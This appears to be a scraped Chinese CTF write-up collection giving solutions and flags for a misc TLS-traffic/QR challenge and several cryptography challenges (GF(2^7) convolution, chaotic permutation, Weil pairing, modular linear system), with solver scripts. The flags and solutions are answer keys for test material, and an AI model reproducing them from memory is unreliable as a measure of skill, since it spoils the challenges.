Find a collision: give me two different numbers x1, x2 with Hash(x1)=Hash(x2).Input Format: x1 x2:0 8388608flag{+++++++++++You_are_very_lucky.++++++++++}FLAG
flag{+++++++++++You_are_very_lucky.++++++++++}[musc ch4l1eng3][Misc]不是所有牛奶都叫_____
Challenge
什么牛奶?MN?YGNC?YL?特@$&!$&*!@$^&-------------------.
(flag提交时去掉&符号)
Solution
先查看协议分级:

TLS 占比挺大

直接搜索 tls 发现 tls 密钥,具体使用方式此处不赘述,参考这篇 WP:磐石行动2025初赛 | Aristore
解密后筛选 tls 流量,追踪流翻了一下找到一段可疑的流量

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用厨子 base64 解码得到一个二维码:

扫码得到 flag{W0w_You_r3al1y_knOW_TL5&QrCode}
根据题目描述把后面的 & 删了提交就行
FLAG
flag{W0w_You_r3al1y_knOW_TL5QrCode}[Cry]final_R
Challenge
NewStar2025 密码收官之作。
from secret import flag; from functools import reduce; from itertools import accumulate; import operator; print((lambda z: (a:=7, b:=0b10000011, c := 59, d := (1 << a) - 1, e := list(accumulate(range(d), lambda r, l: (r << 1) ^ b if (r << 1) & (1 << a) else r << 1, initial=1))[1:], g := e + e, h := [0] * (1 << a), [h.__setitem__(r, l) for l, r in enumerate(e)], j := [g[ord(s) % d] for s in z], k := [(lambda q: h[q] if q else 0)(reduce(operator.xor, (g[h[j[l]] + h[j[(p - l) % c]]] if j[l] and j[(p - l) % c] else 0 for l in range(c)), 0)) for p in range(c)], "".join(chr(l) for l in k).encode())[-1])(flag)) # b'MfYGCnO`w%\x07zSzejG#kkb\x01\x01%eS?]GO`?]\x03m?`ab`kbnsS]``][?S`C\x1dB?{m'Solution
1. 算法分析与解构
首先我们将这行代码分解为可读的步骤,并分析每个变量的作用。
-
常量定义
a = 7: 定义了运算的基本位宽,暗示了我们正在GF(2^7)有限域中操作。b = 0b10000011(131):这是GF(2^7)中的一个本原多项式x^7 + x + 1,常用于生成最大长度序列。c = 59:密文的长度。d = (1 << a) - 1 = 127:域中非零元素的数量。
-
密钥材料生成
e:使用b作为反馈多项式,通过线性反馈移位寄存器 (LFSR) 生成了一个长度为127的伪随机序列。该序列包含了1到127所有数字的唯一排列,可以看作是一个 S-Box。g:将序列e自身拼接一次(e + e),用于简化索引的模运算。h:e的反向查找表或逆S-Box。如果e[i] = v,那么h[v] = i。
-
加密流程
j:对flag的初步处理。每个字符s的 ASCII 码对127取模后,在g表中查找对应的值。k:核心加密循环,生成最终密文的 ASCII 码列表。其逻辑可以概括为:
k[p] = h[ reduce(xor, generator) ]forpin0..58
其中generator产生一系列项g[h[j[l]] + h[j[(p - l) % 59]]]forlin0..58。
2. 发现漏洞
加密的核心在于 reduce(xor, ...) 这一步,它看起来像一个复杂的卷积操作。让我们深入分析这个异或求和。
为简化分析,我们定义 i_l = h[j[l]]。由于j[l] 是 g[ord(flag[l]) % 127],而 h 是 g 的逆查找表,因此可以推导出 i_l = ord(flag[l]) % 127。假设 flag 由标准ASCII字符构成,则 i_l = ord(flag[l])。
现在,异或求和中的每一项可以写成 g[i_l + i_{(p - l) % 59}]。
让我们观察当内层循环变量 l 变化时这些项的规律。考虑一个通项 Term(l) = g[i_l + i_{(p - l) % 59}]。
再考虑另一项,当循环变量为 l' = (p - l) % 59 时,我们得到 Term(l') = g[i_{(p - l) % 59} + i_{(p - (p - l)) % 59}] = g[i_{(p - l) % 59} + i_l]。
我们发现 Term(l) = Term(l')。这意味着:
- 如果
l ≠ (p - l) % 59,那么这两项会成对出现。在异或求和中,X ^ X = 0,因此所有成对的项都会相互抵消。 - 唯一的例外是当一项无法配对时,即
l = (p - l) % 59。
这个条件 l = (p - l) % 59 简化为 2l ≡ p (mod 59)。
由于 59 是素数,对于每一个 p(从0到58)都存在一个唯一的 l 满足此方程。
因此那个看似复杂的、包含59项的异或求和,实际上等价于这个唯一的、不会被抵消的项:
reduce(xor, ...) = g[i_l + i_l] = g[2 * i_l],其中 l 满足 2l ≡ p (mod 59)。
3. 推导解密公式
我们将这个简化结果代回加密流程:k[p] = h[ g[2 * i_l] ]
由于 h 是 g(在 0..126 范围内)的逆,h[g[x]] 等价于 x。但是索引 2 * i_l 可能会超出 126,所以我们需要考虑 g 的定义(g=e+e)。g[idx] 实际上是 e[idx % 127]。
因此,h[g[2 * i_l]] = h[e[(2 * i_l) % 127]] = (2 * i_l) % 127。
至此,我们得到了一个极其简洁的线性同余方程,它直接关联了密文和明文:ord(ciphertext[p]) ≡ 2 * ord(flag[l]) (mod 127)
其中 l 和 p 依然满足关系 2l ≡ p (mod 59)。
4. 编写解密脚本
我们的任务是求解以下方程组:
l ≡ p * inv(2) (mod 59)ord(flag[l]) ≡ ord(ciphertext[p]) * inv(2) (mod 127)
我们需要计算两个模乘法逆元:
2在模59下的逆元:pow(2, -1, 59) = 302在模127下的逆元:pow(2, -1, 127) = 64
解密脚本的逻辑如下:
- 遍历密文索引
p从0到58。 - 对于每个
p,使用l = (p * 30) % 59计算出对应的flag索引l。 - 获取密文的ASCII码
k_p = ord(ciphertext[p])。 - 使用
ord(flag[l]) = (k_p * 64) % 127计算出flag对应位置字符的ASCII码。 - 将所有计算出的ASCII码存入列表,最后组合成字符串。
C = 59 # 长度MOD_P = 59 # p和l关系所在的模MOD_I = 127 # ASCII码运算所在的模 ciphertext = b'MfYGCnO`w%\x07zSzejG#kkb\x01\x01%eS?]GO`?]\x03m?`ab`kbnsS]``][?S`C\x1dB?{m'k_values = list(ciphertext) # 预先计算模乘法逆元inv_2_mod_59 = pow(2, -1, MOD_P)inv_2_mod_127 = pow(2, -1, MOD_I) flag_ords = [0] * C # 遍历密文的每个位置 pfor p in range(C): # 1. 根据 p 计算出对应的 flag 位置 l # 关系: 2l ≡ p (mod 59) l = (p * inv_2_mod_59) % MOD_P # 2. 获取当前位置的密文ASCII码 k_p = k_values[p] # 3. 根据 k_p 计算出 flag 对应字符的ASCII码 i_l # 关系: k_p ≡ 2 * i_l (mod 127) i_l = (k_p * inv_2_mod_127) % MOD_I # 4. 将计算出的ASCII码存入正确的位置 l flag_ords[l] = i_l flag = "".join([chr(i) for i in flag_ords])print(flag)FLAG
flag{Circu1@r_c0nv01u7i0n_0N_v3c70R==5Qu@Ring_A_p01yn0mia!}[Cry]混沌密码学入门
Challenge
题目内容:
乱糟糟的,这是什么?(flag只含可读明文,下划线,问号,感叹号。)
出题人的环境是windows.
题目提示:出题人的环境是windows
Solution
加密过程还原:
-
生成序列:
pythondef Feigenbaum_Equation(a,b,r1,r2,x1,y1,n,t): x=[x1]; y=[y1] for _ in range(n): x.append(3*a*sin(pi*x[-1])+r1*y[-1]) y.append(3*b*sin(pi*y[-1])+r2*y[-1]) return x[-t:], y[-t:] xl,_ = Feigenbaum_Equation(0.9,1.01,0.1,0.2,0.22,0.43,2*n,n) -
构造三行矩阵并排序:
M[0] = [1..n](位置标号)M[1] = xl(用于排序)M[2] = pixel_list(像素序列,扫描顺序为先列x后行y)- 排序索引:
Mi = [index for index,_ in sorted(enumerate(M[1]), key=lambda x:x[1])] - 重排所有行:
row' = [row[i] for i in Mi]
-
写回图像:将重排后的像素序列(
M_[2])依次写回,得到chaos_chaos.png。
解密思路:
-
关键观察:加密是一一对应的单次置换,无信息丢失,只需构造逆置换即可还原。
-
构造置换
P:pythonP = [idx for idx,_ in sorted(enumerate(xl), key=lambda x:x[1])] -
逆置换规则:若加密后第
k个像素来自原图第j个位置,则P[k] == j。pythonoriginal[j] = scrambled[k] # 当 P[k] == j -
保持扫描顺序一致:读取和写回像素都使用 chall.py 的同一顺序(外层
x,内层y)。
from math import sin, pifrom PIL import Image def Feigenbaum_Equation(a, b, r1, r2, x1, y1, n, t): x = [x1] y = [y1] for _ in range(n): x.append(3 * a * sin(pi * x[-1]) + r1 * y[-1]) y.append(3 * b * sin(pi * y[-1]) + r2 * y[-1]) return x[-t:], y[-t:] def recover(input_path="chaos_chaos.png", output_path="flag.png"): img = Image.open(input_path) pixels = img.load() w, h = img.size n = w * h xl, _ = Feigenbaum_Equation(0.9, 1.01, 0.1, 0.2, 0.22, 0.43, 2 * n, n) # 前向置换(加密时使用):按照 xl 升序得到的索引序列 M1i = sorted(enumerate(xl), key=lambda x: x[1]) P = [idx for idx, _ in M1i] # 读取混淆后的像素(与挑战脚本一致的扫描顺序) scrambled = [] for x in range(w): for y in range(h): scrambled.append(pixels[x, y]) # 逆置换:original[j] = scrambled[k] 当 P[k] == j original = [None] * n for k, j in enumerate(P): original[j] = scrambled[k] # 写回原始顺序的像素到图像 index = 0 for x in range(w): for y in range(h): pixels[x, y] = original[index] index += 1 img.save(output_path) return output_path if __name__ == "__main__": out = recover()得到图片:

用 StegSolve 处理一下:

FLAG
flag{Does_it_look_chaotic?This_just_the_beginning!}[Cry]weil的噪声与秩序
Challenge
Weil配对是一种强大的工具,能将椭圆曲线上的点映射到乘法群中,创造出结构化的“秩序”。但当随机噪声被引入其中,这种秩序便会被打破。
你的任务是分析一组被Weil配对加密的数据,其中一部分是纯粹的秩序,另一部分则被强烈的噪声污染。区分它们,你就能读懂隐藏在背后的信息
Solution
加密逻辑复原:
根据 task.sage 的核心片段:
- 构造有限域
GF(p)和椭圆曲线E: y^2 = x^3 + 4;令群阶含有因子2^2*3^2*...。 - 将明文
flag转为 8 位二进制序列;逐位处理:- 若位为
1:- 取
(o//2//2)*E.random_element()生成 2-幂张量上的点P,Q; - 计算
d = P.weil_pairing(Q, 2) * getrandbits(381); - 将
d记入密文列表c。
- 取
- 若位为
0:- 取
(o//3//3)*E.random_element()生成 3-幂张量上的点P,Q; - 计算
d = P.weil_pairing(Q, 3)(无噪声); - 将
d记入密文列表c。
- 取
- 若位为
- 最终将
c写入c.py。
关键性质:
- Weil 配对
e_r(P,Q)的值属于单位根集合μ_r,其大小为r。r=2时,μ_2 = {+1, -1};但此分支随后乘以一个随机 381 位整数,结果几乎从不重复。r=3时,μ_3仅有 3 个可能值,且不乘噪声,因而在密文中会大量重复出现。
- 因此,密文数组中“重复频率最高的三个值”几乎必然来自
μ_3,对应位0;其余基本为一次性随机值,对应位1。
解题思路:
- 读取
c.py中的密文数组(Python 可直接import c)。 - 统计出现频率,取 Top-3 的值集合作为
μ_3候选(判定为位0)。 - 其余值判定为位
1。 - 每 8 位拼成一个字节,并按 UTF-8 解码为字符串得到
flag。
该思路完全依赖频率分布,不需要域参数 p、曲线细节或进行任何椭圆曲线/配对运算。
from collections import Counter try: import c as c_module arr = getattr(c_module, 'c', c_module)except Exception as e: raise SystemExit(f"无法加载密文列表:{e}") # 选择出现频率最高的三个数,作为 μ_3 的候选集合cnt = Counter(arr)roots_three = set(v for v, _ in cnt.most_common(3)) bits = ['0' if x in roots_three else '1' for x in arr] # 按 8 位组装为字节flag_bytes = [int(''.join(bits[i:i+8]), 2) for i in range(0, len(bits), 8)]flag = bytes(flag_bytes) print("Decoded flag bytes:", flag)try: print("Decoded flag string:", flag.decode('utf-8'))except UnicodeDecodeError: # 回退显示可见字符 print("Decoded flag (latin1):", flag.decode('latin1'))FLAG
flag{let_m3_exam1n3_wh3ther_U_h@v3_handled_weil_pair1n9}[Cry]随机数之旅3.6
Challenge
关键在你拥有的信息
Solution
加密逻辑复原:
根据 random_jerni3.py 的核心片段:
- 生成随机
flag = 'flag{' + uuid4 + '}',令总长度为n。 - 取大素数
p = random_prime(2**64),在有限域Zmod(p)上工作。 - 设
m = n - 6,构造随机矩阵A ∈ Zmod(p)^{m×n}(元素取自[p//2, p-1])。 - 将
x = [ord(c) for c in flag]视为长度为n的向量,计算b = A * x (mod p)。 - 输出到
output.txt:第 1 行p,第 2 行A(按“行列表”序列化),第 3 行b。
关键性质:
- 已知的 6 个字符位置与值:
'f','l','a','g','{'与'}'。 - 未知字符个数为
n-6 = m,因此由未知列形成的子矩阵A_unknown为一个m×m方阵。 - 在素域
Zmod(p)上,随机方阵满秩概率极高;故线性系统可用“模p的高斯消元”直接求解。
解题思路:
- 读取
output.txt的三行,解析得到p、矩阵行列表A_rows、向量b。 - 先从
b中扣除已知 6 列的贡献,得到b' = b - A_known * x_known (mod p)。 - 抽取未知列形成方阵
A_unknown,在Zmod(p)上对方程组A_unknown * x_unknown ≡ b'做高斯消元,解出未知的 36 个 ASCII 值。 - 与已知 6 个字符合并,得到完整向量
x,转为字符串即为flag。 - 校验
flag格式:应为flag{<36位UUID>},检查连字符位置、版本位为4、变体位为8/9/a/b,并用uuid标准库验证。
import astimport uuid def modinv(a: int, p: int) -> int: a %= p if a == 0: raise ValueError("No modular inverse") t, new_t = 0, 1 r, new_r = p, a while new_r != 0: q = r // new_r t, new_t = new_t, t - q * new_t r, new_r = new_r, r - q * new_r if r != 1: raise ValueError("Element not invertible modulo p") return t % p def solve_mod_square(A, b, p): n = len(A) M = [row[:] + [b[i] % p] for i, row in enumerate(A)] for col in range(n): pivot = None for r in range(col, n): if M[r][col] % p != 0: pivot = r break if pivot is None: raise ValueError(f"Matrix is singular at column {col}") if pivot != col: M[col], M[pivot] = M[pivot], M[col] inv = modinv(M[col][col], p) for j in range(col, n + 1): M[col][j] = (M[col][j] * inv) % p for r in range(n): if r == col: continue factor = M[r][col] % p if factor: for j in range(col, n + 1): M[r][j] = (M[r][j] - factor * M[col][j]) % p return [M[i][n] % p for i in range(n)] def main(): with open("output.txt", "r") as f: lines = [line.strip() for line in f] p = int(lines[0]) A_rows = ast.literal_eval(lines[1]) b = list(ast.literal_eval(lines[2])) m = len(A_rows) n = len(A_rows[0]) known_indices = [0, 1, 2, 3, 4, n - 1] known_values = {0: ord('f'), 1: ord('l'), 2: ord('a'), 3: ord('g'), 4: ord('{'), n - 1: ord('}')} b_prime = [0] * m for i in range(m): s = 0 for k in known_indices: s = (s + A_rows[i][k] * known_values[k]) % p b_prime[i] = (b[i] - s) % p unknown_indices = [j for j in range(n) if j not in known_indices] A_unknown = [[A_rows[i][j] % p for j in unknown_indices] for i in range(m)] x_unknown = solve_mod_square(A_unknown, b_prime, p) x_full = [0] * n for k, v in known_values.items(): x_full[k] = v for idx_pos, j in enumerate(unknown_indices): x_full[j] = x_unknown[idx_pos] flag = ''.join(chr(v) for v in x_full) print(flag) if __name__ == "__main__": main()FLAG
flag{0b319110-bdfa-411c-957f-50bdabe1fa1c}Footnotes
-
AI忘记翻译了(笑) ↩